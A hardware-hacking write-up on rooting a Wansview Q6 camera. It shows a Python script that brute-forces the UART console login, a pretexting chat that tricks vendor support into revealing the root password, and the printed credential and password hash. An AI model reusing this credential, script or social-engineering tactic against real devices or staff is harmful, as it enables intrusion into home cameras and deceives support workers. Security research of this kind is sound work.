Introduction

I am currently interested in the functioning of a connected camera that is why I decided to get one. I chose a random camera (in a reasonable price range) and made sure that it had not already been the subject of a research project, by which I mean that it had not already been rooted.

The camera: Wansview Q6

Specifications:

  • 1080p HD
  • Works with Alexa
  • Two-way audio
  • Motion detection
  • Night vision
  • Storage on SD/Cloud

Approach

The questions I asked myself was:

What does the camera expose ?

What are the ways to interact with it ?

In order to define the attack surface, we must first set up a test environment. In the sight of the documentation provided by the editor:

The lab set up is as follows:

alt text

Disassembly

In order to find I hope a serial UART port to debug the camera it is necessary to disassemble it.

Getting UART port

alt text

alt text

alt text

alt text

alt text

alt text

alt text

When connected to the UART port using the Bus Pirate v3.6, the following logs are obtained:

Finding credentials

Brute force

However, we do not have a root shell directly. Indeed, we are asked for an account name and a password:


...

Ingenic-uc1_1 login:

...

I first tried some simple credentials:

  • root / root
  • root / toor
  • admin / password

But without success. Then I tried to brute force the credentials by developing the following script and using the following wordlist:

import time
import serial
import datetime

DEV = "/dev/tty.usbserial-A901LHSE"
BAUD = 115200
DEBUG = 1


def tprint(datas):
    output = ""
    for data in datas:
        try:
            output += chr(data)
        except:
            pass
    print(output)


def read_until(dev, until, hit=datetime.timedelta(seconds=60)):
    time_start = datetime.datetime.now()
    resp = b""
    while until not in resp:
        time_elapsed = datetime.datetime.now() - time_start
        if time_elapsed > hit:
            return resp, True
        resp += dev.read(1)
    return resp, False


def setup_bus_pirate(dev):
    data = b""
    dev.write(b"m\n")
    data += read_until(dev, b"(1)>")[0]
    dev.write(b"3\n")
    # Select bridge mode
    data += read_until(dev, b"(1)>")[0]
    # Select 115200 as baud rate
    dev.write(b"9\n")
    data += read_until(dev, b"(1)>")[0]
    dev.write(b"1\n")
    data += read_until(dev, b"(1)>")[0]
    dev.write(b"1\n")
    data += read_until(dev, b"(1)>")[0]
    dev.write(b"1\n")
    data += read_until(dev, b"(1)>")[0]
    dev.write(b"2\n")
    data += read_until(dev, b"UART>")[0]
    dev.write(b"(1)\n")
    data += read_until(dev, b"Are you sure? ")[0]

    # Start listening
    dev.write(b"y\n")
    tprint(data)


def brute_force(dev):
    # Prepare the brute force
    lines = []
    with open("wordlist.txt", "rb") as f:
        lines = f.readlines()
    passwords = []
    for line in lines:
        password = line.rstrip(b"\n")
        passwords.append(password)
    # Iterate on wordlist.txt's lines
    data = b""
    for user in [b"root", b"admin"]:
        for password in passwords:
            if DEBUG:
                print(
                    f"[DEBUG] Testing: {user.decode()}, {password.decode()}")
            r, _ = read_until(dev, b"Ingenic-uc1_1 login: ")
            data += r
            dev.write(user + b"\n")
            r, _ = read_until(dev, b"Password: ")
            data += r
            dev.write(password + b"\n")
            time.sleep(0.25)
            r, c = read_until(dev, b"Login incorrect")
            if c == True:
                print(
                    f"\033[92m[DEBUG]\033[0m: Credentials found:\n  user: {user.decode()}\n  password: {password.decode()}")
                return 0
    print("\033[91m[DEBUG]\033[0m: Brute force failed!")
    return -1


def main():
    # Set up the bus pirate
    dev = serial.Serial(DEV, BAUD, timeout=5)
    setup_bus_pirate(dev)
    # Stop the boot process
    data = b""
    r, _ = read_until(dev, b"Press q -> ENTER to exit boot procedure? ")
    data += r
    tprint(data)
    dev.write(b"q\n")
    # Brute force attack of the authentication
    brute_force(dev)


if __name__ == "__main__":
    main()

Once again it was a failure. When skills are lacking you have to use trickery.

Social engineering

Being stuck not having the credentials to get a shell I decided to get them directly from the manufacturer.

coiffeur > Hello, what are the identifiers and password to connect to the camera via the terminal when I am asked?

Ingenic-uc1_1 login :

----

Irene > Hello,
Thank you for your support on us. This is Irene from Wansview. I am very happy to serve you.
Can you tell me the model of your camera? You can find it on its label.
Are you using it on the Wansview app or Wansview Cloud?
Don't worry, I'm still here until the problem is fixed.

Looking forward to hearing from you
Have a nice day
Sincerely
Irene

----

coiffeur > This is the wansview Q6

----

Irene > Hello,
Thanks for your feedback.
You can find the info from "Settings--Local Application".
Do you want to connect the camera to a third party software?
Please find the documents to help you connect the camera to a third party software with ONVIF/RTSP protocol.
I hope this helps you.

Looking forward to hearing from you
Have a nice day
Sincerely
Irene

----

coiffeur > Hello,
It does not help me I need the operating system credentials under jasent to the camera. In order to ensure the security of my company, we need to have full access to the camera's system. To do this, I need the password for the root account.

----

Irene > Hello,
Thank you for your feedback.
You can view and control the camera on your account. There is no root account password.
We have servers in Europe which respect European security rules, so you don't need to worry about data security. Please understand.

Legal verification of access devices, dynamic tokens for professional access, AES encryption of transmission channels, drift services for data storage, etc., it guarantees the security of user and product data in multiple dimensions.

To view your cameras, someone has to enter your account. If there is another person using your account, it will be logged out automatically on your phone. You can change the account password in this case.

Looking forward to hearing from you
Have a good holiday
Sincerely
Irene

----

coiffeur > Hello,
My company uses its own method of viewing and the technical manager confirmed that your camera has a root account on the camera itself. It is this account that we need.

----

Irene > Hello,
Thank you for your feedback.
I'm sorry that we can't give you the root account.
Root is a local account, so we can't also view your camera with this account. You don't need to worry.
Our cameras are designed for families, so we do not offer a root account. I ask for your understanding.
If you have any questions, please feel free to contact me. I am always happy to serve you.


Looking forward to hearing from you
Take care and Happy Holidays
Sincerely
Irene

----

coiffeur > Hello,
My technical manager confirms once again that a local root account is present on the camera. You are obliged to provide us with the local root account of the camera so that we can verify the security of these before deploying them in our premises. I can provide you with the serial numbers of one of our cameras so that you can send me the password of the local root account.

----

Irene > Hello,
Thanks for your feedback.
It is useless that you have the local root account. Because we have disabled Telnet for all our cameras.
If you still want the account, I will ask our technician, but he doesn't help you with the installation of the cameras. I beg you for your understanding.

Looking forward to hearing from you
Sincerely
Irene

----

coiffeur > Hello,
Indeed I still want the root password.
Thank you for your understanding.

----

Irene > Hello,
Thank you for your feedback.
Here is the requested info:

username:root
pw:Ayp>52&0_6F/sK8s

I hope this helps you.

Looking forward to hearing from you
Sincerely
Irene

This allows us to obtain the following credentials:

  • Username:root
  • Password: Ayp>52&0_6F/sK8s

We add this information to our wordlist and we try again. The result can be found here:

alt text

Let’s check the result obtained despite the success of the authentication.

File: /etc/passwd

root:KYkOoCSevDgCU:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/bin/sh
daemon:x:2:2:daemon:/usr/sbin:/bin/sh
adm:x:3:4:adm:/adm:/bin/sh
lp:x:4:7:lp:/var/spool/lpd:/bin/sh
sync:x:5:0:sync:/bin:/bin/sync
shutdown:x:6:11:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
uucp:x:10:14:uucp:/var/spool/uucp:/bin/sh
operator:x:11:0:Operator:/var:/bin/sh
nobody:x:99:99:nobody:/home:/bin/sh

alt text

Strange the truncation of the password provided by the manufacturer seems to work.

alt text

Explanations:

The key is divided into groups of 8 characters (the last group is NUL-padded) and the low-order 7 bits of each character (56 bits per group) are used to form the DES key as follows: the first group of 56 bits becomes the initial DES key. For each additional group, the XOR of the encryption of the current DES key with itself and the group bits becomes the next DES key.

The salt is a 9-character array consisting of an underscore followed by 4 bytes of iteration count and 4 bytes of salt. These are encoded as printable characters, 6 bits per character, least significant character first. The values 0 to 63 are encoded as “./0-9A-Za-z”. This allows 24 bits for both count and salt.

The salt introduces disorder in the DES algorithm in one of 16777216 or 4096 possible ways ( i.e., with 24 or 12 bits: if bit i of the salt is set, then bits i and i+24 are swapped in the DES E-box output ).

The DES key is used to encrypt a 64-bit constant using count iterations of DES. The value returned is a NUL-terminated string, 20 or 13 bytes (plus NUL) in length, consisting of the salt followed by the encoded 64-bit encryption. - https://nxmnpg.lemoda.net/3/crypt